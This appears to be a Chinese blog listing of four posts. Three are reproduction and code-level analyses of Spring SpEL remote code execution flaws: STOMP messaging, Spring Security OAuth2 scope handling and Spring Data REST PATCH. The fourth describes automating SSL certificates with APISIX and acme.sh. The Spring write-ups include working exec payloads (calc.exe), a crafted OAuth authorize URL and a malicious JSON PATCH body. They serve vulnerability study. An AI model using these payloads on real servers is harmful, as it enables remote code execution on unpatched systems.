  <li>一：漏洞简介Spring框架中通过spring-messaging模块来实现STOMP（SimpleText-OrientatedMessagingProtocol），STOMP是一种封装WebSocket的简单消息协议。攻击者可以通过建立WebSocket连接并发送一条消息造成远程代码执行。二：协议介绍STOMP(SimpleText-OrientatedMessagingProtocol)面向消息的简单文本协议，用于服务器在客户端之间进行异步消息传递。STOMP帧由命令，一个或多个头信息、一个空行及负载（文本或字节）所组成客户端可以使用SEND命令来发送消息以及描述消息的内容，用SUBSCRIBE命令来订阅消息以及由谁来接收消息。这样就可以建立一个发布订阅系统，消息可以从客户端发送到服务器进行操作，服务器也可以推送消息到客户端通讯过程：客户端与服务器进行HTTP握手连接客户端通过发送CONNECT帧建立连接服务器端接收到连接尝试返回CONNECTED帧客户端通过SUBSCRIBE向服务端订阅消息主题客户端通过SEND向服务端发送消息要从浏览器连接，对于SockJS，可以使用sockjs-client。对于STOMP来说，许多应用程序都使用了jmesnil/stomp-websocket库（也称为STOMP.js），它是功能完备的，已经在生产中使用了多年，但不再被维护。目前jsteunou/webstom-client是该库最积极维护和发展的继承者三：影响版本SpringFramework5.0to5.0.4SpringFramework4.3to4.3.14四：漏洞复现使用官方demo：https://github.com/spring-guides/gs-messaging-stomp-websocketGitclone后切换到指定分支,因为SpringBoot的版本问题需要使用旧版本Gitcheckout6958af0b02bf05282673826b73cd7a85e84c12d3Checkout后目录如下：其中complete文件夹下是一个完整的SpringBoot项目，可以使用Maven或Gradle的方式在本地构建该项目，这里使用Gradle的方式1、将complete文件夹导入到IDEA中，等待依赖都下载完成2、查看pom文件中spring-boot的版本是否是漏洞版本3、修改resources/static/app.js文件（注意：这里修改app.js代码不是修改源码，appjs是返回给用户交给浏览器执行的，用户可以随意修改。之所以在代码中修改，是为了方便做复现）4、然后启动项目，网页访问127.0.0.1:8080，点击connect，然后在send一个消息就可以执行命令五：漏洞分析1、根据参考链接中的相关文章我们知道，解析SpEL发生在org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#filterSubscriptions方法中，查看该方法只有selectorHeaderInUse为True时才能继续往下执行后续逻辑，但该属性默认值为False2、然后通过搜索发现在org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#addSubscriptionInternal方法中将selectorHeaderInUse属性值设置成了True，于是在如下位置设置断点，页面点击connect按钮时，会执行到该断点处并且可以看到sessinId、subsId、订阅地址、selector等参数的值，我们传入的执行命令的类就是selector的值，然后这些值都被使用addSubscription方法加入到了this.subscriptionRegistry属性中。3、我们直接去看命令是怎么执行的，在org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#filterSubscriptions方法中设置断点，在页面点击send按钮往服务器发送消息之后同时操作直接从上一个断点跳到这个断点，程序会运行到该断点处。4、然后继续执行，程序会首先获取sessionId的值5、然后根据sessionId的值最终从this.subscriptionRegistry属性中获取前边用addSubscription方法传进去的信息6、然后查看获取到的信息发现有我们传入的selector的值（执行命令的类以及命令T(java.lang.Runtime).getRuntime().exec(‘calc.exe’)）被创建为expression对象并且可以被执行7、然后继续往下发现在执行expression对象的getvalue方法时，我们传入的表达式已经被解析8、需要注意到上图中执行expression.getValue方法时传入的EvaluationContext对象类型为StandardEvaluationContext，该Context类型的对象支持执行任意SpEL表达式。六：参考链接https://blog.csdn.net/qsort_/article/details/105906256https://4ra1n.love/post/ZWiWbaVfk/https://paper.seebug.org/562/https://github.com/spring-guides/gs-messaging-stomp-websocket/wiki</li>
  <li>一：漏洞简介在SpringSecurityOAuth2.x老的版本中，恶意用户可以向授权服务器发起授权请求，当转发至授权审批终端（ApprovalEndpoint）时，会导致远程代码执行漏洞的攻击。二：利用条件1、被攻击端作为授权服务器时（如使用了注解）2、使用了默认审批终端，或重写的审批终端逻辑中使用等对输出内容进行SPEL表达式解析3、未配置Scopes三：影响版本SpringSecurityOAuth2.3到2.3.2SpringSecurityOAuth2.2到2.2.1SpringSecurityOAuth2.1到2.1.1SpringSecurityOAuth2.0到2.0.14四：漏洞复现使用github上已有的demo：https://github.com/wanghongfei/spring-security-oauth2-exampleClone下来后导入idea待全部依赖下载完成。然后修改cn/com/sina/alan/oauth/config/OAuthSecurityConfig.java中的第67行为：@Overridepublicvoidconfigure(ClientDetailsServiceConfigurerclients)throwsException{clients.inMemory().withClient("client").authorizedGrantTypes("authorization_code").scopes();}然后根据github中的readme中的介绍操作数据库相关（包括：创建库、创建表、添加数据等等）然后修改application.properties中的mysql数据库相关的信息。然后启动环境并访问：http://localhost:8080/oauth/authorize?client_id=client&amp;response_type=code&amp;redirect_uri=http://www.github.com/chybeta&amp;scope=%24%7BT%28java.lang.Runtime%29.getRuntime%28%29.exec%28%22calc.exe%22%29%7D会重定向到登陆页面，随便输入用户名密码后点击登陆触发payload:五：漏洞分析SpringSecurityOAuth在org.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoint对用户的认证请求进行处理，其中对应的URL是@RequestMapping({“/oauth/authorize”})，其中有一处关键的地方是在于this.oauth2RequestValidator.validateScope(authorizationRequest,client);，此代码是用于对用户传入的scope进行认证。通过动态分析来分析对scope的认证过程以及绕过方法。跟踪进入到org.springframework.security.oauth2.provider.request.DefaultOAuth2RequestValidator:validateScope()方法中，代码如下：调用的是DefaultOAuth2RequestValidator的私有validateScope()方法其中的参数如下：通过动态调试发现，requestScopes是传入的rce的payload，是${T(java.lang.Runtime).getRuntime().exec("calc.exe")}不为null，而clientScopes是我们在搭建环境时在OAuthSecurityConfig设置的，值为空。所以在这里我们就绕过了validateScope()的检测。最后我们回到主函数@RequestMapping({"/oauth/authorize"})中，最终出现会进入到121行中的returnthis.getUserApprovalPageResponse(model,authorizationRequest,(Authentication)principal);中。跟踪getUserApprovalPageResponse()进入到org.springframework.security.oauth2.provider.endpoint.AuthorizationEndpoint:getUserApprovalPageResponse()当执行到newModelAndView(this.userApprovalPage,model);时，此时的各项参数如下所示：所以程序内部会跳转到forward:/oauth/confirm_access。继续执行，执行到org.springframework.security.oauth2.provider.endpoint.WhitelabelApprovalEndpoint:getAccessConfirmation()。getAccessConfirmation()对forward:/oauth/confirm_access进行响应处理。进入到创建模板函数createTemplate()中其中model和request的参数信息如下：根据参数信息，函数会执行到template=template.replace("%scopes%",this.createScopes(model,request)).replace("%denial%","");，跟踪this.createScopes()进一步分析。函数的工作很明确，获取到scopes的内容拼接成为字符串返回。最终得到的builder.toString()的结果是：&lt;ul&gt;&lt;li&gt;&lt;divclass='form-group'&gt;scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}:&lt;inputtype='radio'name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}'value='true'&gt;Approve&lt;/input&gt;&lt;inputtype='radio'name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}'value='false'checked&gt;Deny&lt;/input&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;返回到createTemplate()函数中，最终template()返回的结果是:&lt;html&gt;&lt;body&gt;&lt;h1&gt;OAuthApproval&lt;/h1&gt;&lt;p&gt;Doyouauthorize'${authorizationRequest.clientId}'toaccessyourprotectedresources?&lt;/p&gt;&lt;formid='confirmationForm'name='confirmationForm'action='${path}/oauth/authorize'method='post'&gt;&lt;inputname='user_oauth_approval'value='true'type='hidden'/&gt;&lt;inputtype='hidden'name='${_csrf.parameterName}'value='${_csrf.token}'/&gt;&lt;ul&gt;&lt;li&gt;&lt;divclass='form-group'&gt;scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}:&lt;inputtype='radio'name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}'value='true'&gt;Approve&lt;/input&gt;&lt;inputtype='radio'name='scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}'value='false'checked&gt;Deny&lt;/input&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;label&gt;&lt;inputname='authorize'value='Authorize'type='submit'/&gt;&lt;/label&gt;&lt;/form&gt;&lt;/body&gt;&lt;/html&gt;可以看到在template模板中已经携带有我们的payload，scope.${T(java.lang.Runtime).getRuntime().exec("calc.exe")}。执行完createTemplate()函数之后，程序回到getAccessConfirmation()中，程序最后执行到returnnewModelAndView(newSpelView(template),model);进入到newSpelView(template)中，newSpelView()会对template中的spel表达式解释执行最终造成rce。Expressionexpression=SpelView.this.parser.parseExpression(name);会对template中的内容进行解析包括scope，最终造成rce。六：参考链接https://blog.spoock.com/2018/05/13/cve-2018-1260/七：个人githubhttps://artio-li.github.io/</li>
  <li>一：漏洞简介SpringDataREST是SpringData项目的一部分，可以在SpringData存储库之上构建超媒体驱动的RESTWeb服务。SpringDataREST存在远程代码执行漏洞，攻击者通过构造恶意的PATCH请求提交给spring-data-rest服务器，使用特制的JSON数据来运行任意的Java代码，从而实现远程代码执行攻击。二：影响版本SpringDataRESTversions2.5.12,2.6.7,3.0RC3之前的版本SpringBootversions2.0.0M4之前的版本SpringDatareleasetrainsKay-RC3之前的版本三：漏洞复现使用官方demo：https://github.com/spring-guides/gs-accessing-data-rest.git下载后如图所示：直接idea导入complete文件夹让它自动下载依赖。下载完成后如图所示：接下来我们需要将pom.xml文件中的springboot的版本修改为含有漏洞的版本，springboot是一个父依赖，其中含有spring-data-rest-webmvc这个核心组件。然后直接运行AccessingDataRestApplication类就可以启动，启动成功后访问127.0.0.1:8080返回如下代表启动成功：接下来先简单说一下Patch方法（已有的上传数据的方法有POST和PUT，但是功能上有些不足）：Patch方法是新引入的对PUT方法的补充，用来对已知资源进行局部更新。Patch请求方法有一个标准，必须包含一个path和op字段,op表示具体操作,path用于定位准确数据字段。Patch方法的content-type类型为：application/json-patch+json上边说到Patch方法的主要作用是用来对已知的资源进行更新，我们来举个例子：已知json数据：{“baz”:“qux”,“foo”:“bar”}发送下边的请求：[{“op”:“replace”,“path”:“/baz”,“value”:“boo”},{“op”:“add”,“path”:“/hello”,“value”:[“world”]},{“op”:“remove”,“path”:“/foo”}]最初的json数据会变成（修改baz的值，新增hello值为world，删除foo）：{“baz”:“boo”,“hello”:[“world”]}接下来我们开始复现：使用POST方式为系统新增一个用户：可以看到用户新增成功，然后我们需要使用PATCH方式对该用户的信息进行修改：可以看到用户信息修改成功。漏洞点就在PATCH请求的path参数里，我们把path参数的值修改为恶意代码，如下：注：必须将Content-Type指定为application/json-patch+json。请求数据必须是json数组。弹计算器操作：这里需要改变一下编码，可以使用下边这种方式：[{“op”:“replace”,“path”:“T(java.lang.Runtime).getRuntime().exec(newjava.lang.String(newbyte[]{99,97,108,99,46,101,120,101}))/lastName”,“value”:“vulhub”}]执行完后可以看到成功弹出计算器：四：漏洞分析结合网上大佬们的文章，我们payload提交的是json格式，所以先从处理json的地方开始入手：org.springframework.data.rest.webmvc.config.JsonPatchHandler:apply()首先，我们提交json数据后程序会先判断请求头中的content-type是否为application/json-patch+json，请求方式是否为PATCH。如果符合的话调用applyPatch方法并传入请求体，否则调用applyMergePatch方法。其中isJsonPatchRequest方法中是这样判断请求头和请求方法：然后判断完请求方法和请求头后进入下一步的applyPatch方法。继续往下，会进入getPatchOperations方法，该方法首先会利用mapper初始化JsonPatchPatchConverter对象之后调用convert方法：继续跟进convert方法，可以看到convert方法会返回Patch对象，其中ops包含了我们发送的payload：继续往下，进入Patch通过上一步的返回结果我们可以看到ops是一个List对象，每一个PatchOperation对象中包含了op、path、value三个内容，我们进入PatchOperation分析下：Path传到了pathToExpression，直接进去可以看到这是对spel表达式的解析操作，但是解析前调用了pathToSpEL，进去看下：可以看到pathToSpEL方法中先对path进行分割操作(通过/进行分割)然后pathNodesToSpEL方法做了简单的字符串重组并没有做任何的检验，然后继续执行，回到applyPatch方法中，然后继续执行发现PatchOperation是一个抽象类，实际上应该调用其实现类的perform()方法。通过动态调试分析，此时的operation实际是ReplaceOperation类的实例：然后进入perform方法，继续执行，在setValueOnTarget()中会调用spelExpression对spel表示式进行解析从而触发该漏洞：注：这篇文章分析时参考了4ra1n大佬的文章，菜鸟第一次写文，大佬们多多指教。五：参考链接https://4ra1n.love/post/wQearOYqr/</li>
  <li>最近在做一个SASS服务，为了防止用户上传违法信息导致域名被封，需要用户主动绑定自己的域名。绑定域名后，系统需要自动添加路由，自动申请ssl证书。调研下来发现apisix这个开源的网关刚好支持通过调用api去动态添加路由和证书。对于申请免费的ssl证书一般都是使用acme.sh证书申请acme生成证书分为两种方式DNS验证通过添加域名TXT记录验证，足以证明你对域名的控制权，所以也可以申请泛域名证书文件验证通过http访问域名验证，需要在指定路由下返回文本即可。这种方法无法证明你对域名的控制权，所以只能申请普通的单域名证书上述过程可以通过acme.sh去一键完成实现调用APISIX接口添加文件验证路由绑定到域名调用acme.sh注意这里最好指定服务为letsencrypt，在国内调用会比较快这里是自己启动http验证，需要指定-w参数。生成的验证文件会放在${web_root}/.well-known/acme-challenge/，需要写一个路由去去处理http://xxx/.well-known/*(.*)*这个请求shacme.sh--issue-m${email}--serverletsencrypt-d${domain}-w${web_root}shacme.sh--install-cert-d${domain}--key-file${ssl_key}--fullchain-file${ssl_cer}调用APISIX接口删除文件验证路由调用APISIX接口导入SSL证书注意这里有个坑，导入证书接口文档没有说明需要传入证书的start_time和end_time，但是Models里面又有，最好还是传下这两个参数，否则在APISIXDashboard中查看证书会看不到过期时间时间。可以使用opensslx509-text-noout-inxxx.cer命令解析出证书的sni和有效时间因此可以写一个RESTful服务和APISIX部署在一个网络内，在服务启动时把自己的注册到APISIX中，然后实现以上功能即可偷个懒上述过程已经封装程一个Docker镜像apisix-acme，直接使用即可参考apisix基于acme.sh自动更新HTTPS证书</li>
</ul>